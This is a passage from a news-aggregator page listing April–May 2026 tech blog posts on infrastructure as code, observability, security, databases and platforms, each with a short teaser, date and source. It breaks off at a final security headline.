📅 Apr 21, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Changes to GitHub Copilot Individual plans

We're making these changes to ensure a reliable and predictable experience for existing customers. The post Changes to GitHub Copilot Individual plans appeared first on The GitHub Blog.

📅 Apr 20, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Highlights from Git 2.54

The open source Git project just released Git 2.54. Here is GitHub’s look at some of the most interesting features and changes introduced since last time. The post Highlights from Git 2.54 appeared fi

📅 Apr 20, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 Building a Center of Excellence for Ansible

As Ansible adoption grows, a challenge can arise: How do organizations track automation efforts across the entire enterprise? A common solution is to establish a Center of Excellence (CoE) for Ansible

📅 May 8, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Policy Packs Can Now Access Pulumi ESC Environments

Policy authors who need external credentials or environment-specific configuration have had to hardcode values or manage them outside of Pulumi. Policy packs can now reference Pulumi ESC environments,

📅 Apr 23, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 How to Install Terraform Securely for Scalable Automation

Learn how to use Terraform securely and at scale. Discover ways to automate, manage, and speed up your infrastructure delivery. Get started with a secure setup today. | Blog

📅 Apr 22, 2026 • 📰 Harness Blog

🔗 Read more

📄 Agent Sprawl Is Here. Your IaC Platform Is the Answer.

Somewhere in your company right now, a developer is building an AI agent. Maybe it’s a release agent that cuts tags when tests pass. Maybe it’s a cost agent that shuts down idle EC2 overnight. It’s ru

📅 Apr 22, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 DigitalOcean Dedicated Inference: A Technical Deep Dive

Getting a model to answer 10 inference requests concurrently is tricky but simple enough; getting it to handle 2,000 engineers hitting a coding assistant with long contexts, all day, without runaway c

📅 Apr 25, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 Beyond the Abyss Project Poseidon’s Quest for Zero-Downtime Reliability

In large-scale cloud environments, unpredictable hypervisor crashes carry real operational cost. While traditional reactive monitoring that relies on static thresholds and post-hoc alerts were once th

📅 Apr 23, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 Deprecating OpenTracing compatibility requirements

On March 19, 2026, the OpenTelemetry Specification project merged PR #4938, deprecating OpenTracing compatibility requirements in the specification. This change updates the specification to match wher

📅 Apr 23, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 When agents orchestrate agents, who's watching?

Multi-agent AI systems fail silently. Learn what proper observability looks like when agents orchestrate agents, and how Sentry keeps you in control.

📅 Apr 23, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Structuring AI Evaluation and Observability with MLflow: From Development to Production

Shipping your first AI agent or LLM application feels fulfilling until you have to make changes because it does not work as you intended. Most of us start the same way: we test a few prompts, the resu

📅 Apr 22, 2026 • 📰 MLflow Blog

🔗 Read more

📄 The Great Stream Fix: Interleaving Writes in Seastar with AI-Powered Invariants Tracing

How we used AI-assisted invariant-based testing to locate and resolve tricky hidden bugs with complex state transitions

📅 Apr 21, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Introducing Pyroscope 2.0: faster, more cost-effective continuous profiling at scale

Continuous profiling is becoming a standard part of the observability stack, and for good reason. It's the only signal that tells you why your code is slow or expensive, not just that it is. Metrics t

📅 Apr 21, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Introducing o11y-bench: an open benchmark for AI agents running observability workflows

Evaluating agents is hard. Verifying observability tasks is harder. Yes, AI agents have gotten dramatically and quantifiably better at coding and tool use, but observability presents a different kind

📅 Apr 21, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Grafana Assistant everywhere: Customize and connect to the AI agent to fit your specific needs

The ways you and your teams build and observe your systems are changing. It’s no longer just engineers looking at dashboards, or writing queries or config files. More often, it’s an agent interacting

📅 Apr 21, 2026 • 📰 Grafana Blog

🔗 Read more

📄 No more monkey-patching: Better observability with tracing channels

Find out how Node.js Tracing Channels enable libraries to emit their own telemetry, replacing monkey-patching and fixing ESM observability.

📅 Apr 21, 2026 • 📰 Sentry Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Apr 27, 2026 • 📰 Linode Blog

🔗 Read more

📄 Ubuntu 16.04 LTS has reached the end of standard Expanded Security Maintenance with Ubuntu Pro. Here are your options.

Ubuntu 16.04 LTS (Xenial Xerus) reached the end of its five-year Expanded Security Maintenance (ESM) window in April 2026. If you are still running 16.04, it is critical to address your support status

📅 Apr 27, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Microsoft Turns to Anthropic’s Mythos to Improve Cyber Defense

Microsoft has unveiled plans to incorporate Anthropic’s Claude Mythos Preview model and other AI models into its Security Development Lifecycle, embedding AI directly into the stages where code is wri

📅 Apr 24, 2026 • 📰 DevOps.com

🔗 Read more

📄 Take Control of AI Code Quality in CI: Live Demo

AI is accelerating coding, but without the right checks, it can also introduce risk, inconsistency, and hidden issues into your codebase. Businesses are offering “total automation” and “AI-driven chec

📅 Apr 24, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Confidential clusters for Red Hat OpenShift: Developer Preview now available on Microsoft Azure with AMD SEV-SNP

Extending confidential computing from individual workloads to the entire cluster is a new frontier in cloud-native security.Today, Red Hat is announcing the Developer Preview of confidential clusters

📅 Apr 24, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Canonical releases Ubuntu 26.04 LTS Resolute Raccoon

The 11th long-term supported release of Ubuntu delivers deep silicon optimization and state-of-the-art security for enterprise workloads.

📅 Apr 23, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 From Ingress NGINX to Higress: migrating 60+ resources in 30 minutes with AI

With the official retirement of Ingress NGINX that took place in March 2026, enterprise platform teams are facing an urgent security and compliance mandate. Remaining on a retired controller leaves cr

📅 Apr 23, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Hardcoding Security into Every Commit: The Future of Snyk Secrets

Snyk Secrets bridges the gap between code and credentials with real-time, high-precision detection, ensuring your most sensitive data stays hidden while your developers stay fast.

📅 Apr 23, 2026 • 📰 Snyk Blog

🔗 Read more

📄 JPMorgan Just Published a Cyber To-Do List and Snyk Covers 8 of the 10 Items. How do you stack up?

JPMorganChase published a 10-point cyber resilience checklist. See how Snyk covers 8 of the 10 actions and where it fits in your security stack.

📅 Apr 23, 2026 • 📰 Snyk Blog

🔗 Read more

📄 SQL Management Studio for PostgreSQL 2.0 Is Here — Faster, Safer, and More Efficient

We are excited to announce the release of SQL Management Studio for PostgreSQL 2.0 — a major update to our database management and administration solution. This version introduces a more intuitive vis

📅 Apr 23, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Building the agentic cloud: everything we launched during Agents Week 2026

Agents Week 2026 is a wrap. Let’s take a look at everything we announced, from compute and security to the agent toolbox, platform tools, and the emerging agentic web. Everything we shipped for the ag

📅 Apr 20, 2026 • 📰 Cloudflare Blog

🔗 Read more

💾 Databases

📄 Native OpenTelemetry metrics for Redis client libraries

When Redis server metrics look healthy but an application isn’t performing adequately (for instance, service time outs or p99 latency climbing for no obvious reason) the explanation is often not insid

📅 Apr 24, 2026 • 📰 Redis Blog

🔗 Read more

📄 4 DynamoDB Configuration Changes for Significant Cost Savings

Learn about ways to cut DynamoDB costs with minimal code changes, zero migration, and no architectural upheaval.

📅 Apr 23, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 TiDB and the Rise of the AI-Native Database

Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. When enterprises talk about artificial intelligence, the atten

📅 Apr 23, 2026 • 📰 TiDB Blog

🔗 Read more

📄 storage_engine 1.0.7 – columnar + row-compressed Table Access Methods for PostgreSQL 16-18

Hi, I'd like to announce storage_engine 1.0.7, a PostgreSQL extension providing two high-performance Table Access Methods: colcompress: column-oriented compressed storage with vectorized execution, ch

📅 Apr 23, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 How to test & reduce Time to First Byte (TTFB)

If your pages feel sluggish, Time to First Byte (TTFB) is often where to look first. TTFB measures how long the browser waits before the server sends anything back. That wait sits at the front of the

📅 Apr 23, 2026 • 📰 Redis Blog

🔗 Read more

📄 Human in the loop: Why your production AI systems need human oversight

Your AI agent can make tool calls, chain tools, and execute tasks independently. It can also hallucinate a policy that doesn't exist, execute a destructive SQL query that deletes production data, or c

📅 Apr 23, 2026 • 📰 Redis Blog

🔗 Read more

📄 Client-side geographic failover for Redis Active-Active

The Redis Active-Active architecture supports geographically distributed applications, providing real-time performance when apps are co-located with an Active-Active database member and ensuring stron

📅 Apr 23, 2026 • 📰 Redis Blog

🔗 Read more

📄 Shrinking the Search: Introducing ScyllaDB Vector Quantization

Learn how ScyllaDB Vector Quantization shrinks your vector index memory by up to 30x for cost-efficient, real-time AI applications

📅 Apr 22, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 How Retail at Scale Exposes Data Architecture Limitations

Retail and e-commerce platforms are among the most demanding distributed systems in production. Learn why traditional retail and e-commerce database architecture fails at scale and how a distributed d

📅 Apr 21, 2026 • 📰 Yugabyte Blog

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 Apr 27, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Apr 27, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger